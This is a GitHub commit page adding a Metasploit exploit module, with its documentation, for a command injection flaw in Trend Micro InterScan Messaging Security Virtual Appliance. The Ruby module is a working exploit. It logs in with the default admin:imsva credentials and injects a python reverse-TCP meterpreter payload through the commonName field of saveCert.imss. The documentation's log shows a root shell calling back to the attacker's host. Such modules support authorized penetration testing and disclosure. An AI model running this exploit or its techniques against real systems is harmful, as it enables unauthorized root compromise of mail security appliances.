Skip to content

Commit 48f6740

Browse files
wchen-r7wchen-r7
committed
Land rapid7#7969, Add Module Trend Micro IMSVA Remote Code Execution
2 parents 4f83929 + 58c1f6f commit 48f6740

File tree

2 files changed

+217
-0
lines changed

2 files changed

+217
-0
lines changed

‎documentation/modules/exploit/linux/http/trend_micro_imsva_exec.md

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
## Vulnerable Application
2+
3+
This module exploits a command injection vulnerability in the Trend Micro InterScan Messaging Security (Virtual Appliance) product. An authenticated user can execute a terminal command under the context of the web server user which is root. Besides, default installation of IMSVA comes with a default administrator credentials.
4+
5+
saveCert.imss endpoint takes several user inputs and performs blacklisting. After that it use them as argument of predefined operating system command without proper sanitation. However,due to improper blacklisting rule it's possible to inject arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue.
6+
7+
**Vulnerable Application Installation Steps**
8+
9+
IMSVA is distrubed as an ISO image by Trend Micro.
10+
11+
Following steps are valid on the CentOS 6 x64 bit operating system.
12+
13+
1. Open following URL [http://downloadcenter.trendmicro.com/](http://downloadcenter.trendmicro.com/)
14+
2. Find "InterScan Messaging Security (Virtual Appliance)" and click.
15+
3. At the time of writing this documentation, you must see "IMSVA-9.1-1600-x86-64-r2.iso" next to Download button.
16+
4. Click to the download button and complete installation of ISO.
17+
18+
If you don't see a affected version of IMSVA, you can try to download IMSVA-9.1-1600 directly from following URL.
19+
20+
[http://files.trendmicro.com/products/imsva/9.1/IMSVA-9.1-1600-x86_64-r2.iso](http://files.trendmicro.com/products/imsva/9.1/IMSVA-9.1-1600-x86_64-r2.iso)
21+
22+
**System requirements:**
23+
- Virtualbox or VMware can be used.
24+
- 4 GB of memory at least.
25+
- 120 GB of disk size at least.
26+
27+
## Verification Steps
28+
29+
A successful check of the exploit will look like this:
30+
31+
```
32+
msf > use exploit/linux/http/trend_micro_imsva_exec
33+
msf exploit(trend_micro_imsva_exec) > set RHOST 12.0.0.140
34+
RHOST => 12.0.0.140
35+
msf exploit(trend_micro_imsva_exec) > set LHOST 12.0.0.1
36+
LHOST => 12.0.0.1
37+
msf exploit(trend_micro_imsva_exec) > exploit
38+
39+
[*] Started reverse TCP handler on 12.0.0.1:4444
40+
[*] Attempting to login with admin:imsva
41+
[+] Authenticated as admin:imsva
42+
[*] Delivering payload...
43+
[*] Sending stage (38622 bytes) to 12.0.0.140
44+
[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.140:60822) at 2017-01-18 11:29:36 +0300
45+
46+
meterpreter > getuid
47+
Server username: root
48+
meterpreter >
49+
```
50+
51+
You must be getting ```no access``` error if the supplied username and password or default credentials are wrong.
52+
53+
```
54+
msf exploit(trend_micro_imsva_exec) > back
55+
msf > use exploit/linux/http/trend_micro_imsva_exec
56+
msf exploit(trend_micro_imsva_exec) > set RHOST 12.0.0.140
57+
RHOST => 12.0.0.140
58+
msf exploit(trend_micro_imsva_exec) > set LHOST 12.0.0.1
59+
LHOST => 12.0.0.1
60+
msf exploit(trend_micro_imsva_exec) >
61+
msf exploit(trend_micro_imsva_exec) > set USERNAME notvalid
62+
USERNAME => notvalid
63+
msf exploit(trend_micro_imsva_exec) > set PASSWORD notvalid123
64+
PASSWORD => notvalid123
65+
msf exploit(trend_micro_imsva_exec) > exploit
66+
67+
[*] Started reverse TCP handler on 12.0.0.1:4444
68+
[*] Attempting to login with notvalid:notvalid123
69+
[-] Exploit aborted due to failure: no-access: 12.0.0.140:8445 - Login with notvalid:notvalid123 failed...
70+
[*] Exploit completed, but no session was created.
71+
```

‎modules/exploits/linux/http/trend_micro_imsva_exec.rb

Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => 'Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution',
14+
'Description' => %q{
15+
This module exploits a command injection vulnerability in the Trend Micro
16+
IMSVA product. An authenticated user can execute a terminal command under
17+
the context of the web server user which is root. Besides, default installation
18+
of IMSVA comes with a default administrator credentials.
19+
20+
saveCert.imss endpoint takes several user inputs and performs blacklisting.
21+
After that it use them as argument of predefined operating system command
22+
without proper sanitation. However,due to improper blacklisting rule it's possible to inject
23+
arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue.
24+
25+
This module was tested against IMSVA 9.1-1600.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'Mehmet Ince <[email protected]>' # discovery & msf module
31+
],
32+
'References' =>
33+
[
34+
['URL', 'https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/']
35+
],
36+
'Privileged' => true,
37+
'Payload' =>
38+
{
39+
'Space' => 1024,
40+
'DisableNops' => true,
41+
'BadChars' => "\x2f\x22"
42+
},
43+
'DefaultOptions' =>
44+
{
45+
'SSL' => true,
46+
'payload' => 'python/meterpreter/reverse_tcp',
47+
},
48+
'Platform' => ['python'],
49+
'Arch' => ARCH_PYTHON,
50+
'Targets' => [ ['Automatic', {}] ],
51+
'DisclosureDate' => 'Jan 15 2017',
52+
'DefaultTarget' => 0
53+
))
54+
55+
register_options(
56+
[
57+
OptString.new('TARGETURI', [true, 'The target URI of the Trend Micro IMSVA', '/']),
58+
OptString.new('USERNAME', [ true, 'The username for authentication', 'admin' ]),
59+
OptString.new('PASSWORD', [ true, 'The password for authentication', 'imsva' ]),
60+
Opt::RPORT(8445)
61+
]
62+
)
63+
end
64+
65+
def login
66+
67+
user = datastore['USERNAME']
68+
pass = datastore['PASSWORD']
69+
70+
print_status("Attempting to login with #{user}:#{pass}")
71+
72+
res = send_request_cgi({
73+
'method' => 'POST',
74+
'uri' => normalize_uri(target_uri.path, 'login.imss'),
75+
'vars_post' => {
76+
'userid' => user,
77+
'pwdfake' => Rex::Text::encode_base64(pass)
78+
}
79+
})
80+
81+
if res && res.body.include?("The user name or password you entered is invalid")
82+
fail_with(Failure::NoAccess, "#{peer} - Login with #{user}:#{pass} failed...")
83+
end
84+
85+
cookie = res.get_cookies
86+
if res.code == 302 && cookie.include?("JSESSIONID")
87+
jsessionid = cookie.scan(/JSESSIONID=(\w+);/).flatten.first
88+
print_good("Authenticated as #{user}:#{pass}")
89+
return jsessionid
90+
end
91+
92+
nil
93+
end
94+
95+
def exploit
96+
97+
jsessionid = login
98+
99+
unless jsessionid
100+
fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID')
101+
end
102+
103+
# Somehow java stores last visited url on session like viewstate!
104+
# Visit form before submitting it. Otherwise, it will cause a crash.
105+
106+
res = send_request_cgi({
107+
'method' => 'POST',
108+
'uri' => normalize_uri(target_uri.path, 'initCert.imss'),
109+
'cookie' => "JSESSIONID=#{jsessionid}"
110+
})
111+
112+
if !res or !res.body.include?("Transport Layer Security")
113+
fail_with(Failure::Unknown, 'Unable to visit initCert.imss')
114+
end
115+
116+
# Random string that will be used as a cert name, state, email etc.
117+
r = Rex::Text::rand_text_alphanumeric(5)
118+
119+
print_status("Delivering payload...")
120+
121+
# Since double quote are blacklisted, we are using Single, Backslash, Single, Single on our payload. Thanks to @wvu !!!
122+
res = send_request_cgi({
123+
'method' => 'POST',
124+
'uri' => normalize_uri(target_uri.path, 'saveCert.imss'),
125+
'cookie' => "JSESSIONID=#{jsessionid}",
126+
'vars_get' => {
127+
'mode' => 0
128+
},
129+
'vars_post' => {
130+
'certName' => r,
131+
'certType' => 0,
132+
'keyLength' => 2048,
133+
'countryCode' => 'TR',
134+
'state' => r,
135+
'locality' => r,
136+
'org' => r,
137+
'orgUnit' => r,
138+
'commonName' => "#{r}';python -c '#{payload.encoded.gsub("'", "'\\\\''")}' #",
139+
'emailAddress' => "#{r}@mail.com",
140+
'validDays' => '',
141+
'id' => '',
142+
}
143+
})
144+
end
145+
146+
end

0 commit comments

Comments
 (0)